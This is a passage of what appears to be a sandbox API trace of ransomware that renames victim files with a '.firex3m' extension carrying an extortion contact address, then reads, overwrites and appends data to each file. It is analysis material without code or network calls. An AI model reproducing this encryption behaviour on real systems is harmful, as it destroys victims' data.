cFileName="Windows6.1-KB958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~2.FIR")) returned 0x6d54c0 [0092.927] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0092.927] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0092.927] GetProcessHeap () returned 0x630000 [0092.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718938 [0092.927] GetProcessHeap () returned 0x630000 [0092.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0092.927] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.927] ReadFile (in: hFile=0x3f8, lpBuffer=0x718938, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0099.997] GetProcessHeap () returned 0x630000 [0099.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8b90 [0099.998] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.998] WriteFile (in: hFile=0x3f8, lpBuffer=0x6ed88b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.201] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.201] WriteFile (in: hFile=0x3f8, lpBuffer=0x6ee3caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3caf*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.202] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.202] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.202] CloseHandle (hObject=0x3f8) returned 1 [0101.957] GetProcessHeap () returned 0x630000 [0101.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0101.958] GetProcessHeap () returned 0x630000 [0101.958] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0101.958] GetProcessHeap () returned 0x630000 [0101.958] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8b90 | out: hHeap=0x630000) returned 1 [0101.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.958] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x2b940ca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4db1f2, dwReserved0=0xc6c7496, dwReserved1=0x718930, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~2.FIR")) returned 0x6d4e40 [0101.959] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0101.959] Sleep (dwMilliseconds=0x1) [0102.319] Sleep (dwMilliseconds=0x1) [0102.523] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.986] Sleep (dwMilliseconds=0x1) [0103.134] Sleep (dwMilliseconds=0x1) [0103.270] Sleep (dwMilliseconds=0x1) [0103.546] Sleep (dwMilliseconds=0x1) [0105.074] Sleep (dwMilliseconds=0x1) [0107.376] Sleep (dwMilliseconds=0x1) [0109.652] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", len=0x3f | out: pbstr=0x343ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 1 [0109.653] GetProcessHeap () returned 0x630000 [0109.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d53c0, Size=0x34) returned 0x6d5240 [0109.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.654] Sleep (dwMilliseconds=0x1) [0109.682] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe", len=0x4e | out: pbstr=0x343ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 1 [0109.682] GetProcessHeap () returned 0x630000 [0109.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6038, Size=0x28) returned 0x699c78 [0109.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.682] Sleep (dwMilliseconds=0x1) [0109.685] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe", len=0x4d | out: pbstr=0x343ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 1 [0109.686] GetProcessHeap () returned 0x630000 [0109.686] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x24) returned 0x699888 [0109.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0109.707] CloseHandle (hObject=0x6d8) returned 1 [0109.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="OfficeC2RClient.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~2.FIR")) returned 0x6d4e40 [0109.710] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0109.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0109.713] GetProcessHeap () returned 0x630000 [0109.713] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0109.714] GetProcessHeap () returned 0x630000 [0109.714] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0109.714] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.714] ReadFile (in: hFile=0x6d8, lpBuffer=0x72e9d78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.432] GetProcessHeap () returned 0x630000 [0114.432] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0114.432] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.433] WriteFile (in: hFile=0x6d8, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.433] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.433] WriteFile (in: hFile=0x6d8, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0114.440] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.441] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0114.441] CloseHandle (hObject=0x6d8) returned 1 [0115.501] GetProcessHeap () returned 0x630000 [0115.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0115.501] GetProcessHeap () returned 0x630000 [0115.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0115.503] GetProcessHeap () returned 0x630000 [0115.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0115.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xacb4410, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5b108c, dwReserved0=0xc6c7496, dwReserved1=0x72e9d70, cFileName="OfficeC2RClient.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~2.FIR")) returned 0x6d5500 [0115.503] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0115.503] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.134] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", len=0x2f | out: pbstr=0x343ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 1 [0117.134] GetProcessHeap () returned 0x630000 [0117.134] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e91e8, Size=0x1c) returned 0x6e9288 [0117.134] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0117.134] CloseHandle (hObject=0x67c) returned 1 [0117.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORBDEX~1.FIR")) returned 0x6d4e40 [0117.135] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0117.135] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0117.135] GetProcessHeap () returned 0x630000 [0117.135] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x71fff10 [0117.135] GetProcessHeap () returned 0x630000 [0117.135] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x7203f80 [0117.135] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.135] ReadFile (in: hFile=0x67c, lpBuffer=0x71fff10, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fff10*, lpNumberOfBytesRead=0x343ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.632] GetProcessHeap () returned 0x630000 [0118.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0118.632] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.632] WriteFile (in: hFile=0x67c, lpBuffer=0x7203f80*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7203f80*, lpNumberOfBytesWritten=0x343ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.632] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.632] WriteFile (in: hFile=0x67c, lpBuffer=0x7207fbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7207fbf*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.642] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.642] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.642] CloseHandle (hObject=0x67c) returned 1 [0118.643] GetProcessHeap () returned 0x630000 [0118.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7203f80 | out: hHeap=0x630000) returned 1 [0118.643] GetProcessHeap () returned 0x630000 [0118.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fff10 | out: hHeap=0x630000) returned 1 [0118.644] GetProcessHeap () returned 0x630000 [0118.644] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0118.644] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcaab2b6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xc6c7496, dwReserved1=0x71fff08, cFileName="orbd.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORBDEX~1.FIR")) returned 0x6d5040 [0118.644] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0118.644] Sleep (dwMilliseconds=0x1) [0120.674] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 1 [0120.674] GetProcessHeap () returned 0x630000 [0120.674] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d0) returned 0x66a3e0 [0120.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0120.674] CloseHandle (hObject=0x410) returned 1 [0120.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~3.FIR")) returned 0x6d5040 [0120.676] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0120.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0120.676] GetProcessHeap () returned 0x630000 [0120.676] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x709768 [0120.676] GetProcessHeap () returned 0x630000 [0120.676] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x695ed0 [0120.676] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.676] ReadFile (in: hFile=0x410, lpBuffer=0x709768, nNumberOfBytesToRead=0xd20, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x343ff0c*=0xd20, lpOverlapped=0x0) returned 1 [0120.732] GetProcessHeap () returned 0x630000 [0120.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0120.732] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.732] WriteFile (in: hFile=0x410, lpBuffer=0x695ed0*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesWritten=0x343ff0c*=0xd20, lpOverlapped=0x0) returned 1 [0120.733] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.733] WriteFile (in: hFile=0x410, lpBuffer=0x696bef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x696bef*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.733] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.733] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.733] CloseHandle (hObject=0x410) returned 1 [0120.734] GetProcessHeap () returned 0x630000 [0120.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0120.734] GetProcessHeap () returned 0x630000 [0120.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0120.734] GetProcessHeap () returned 0x630000 [0120.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0120.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, 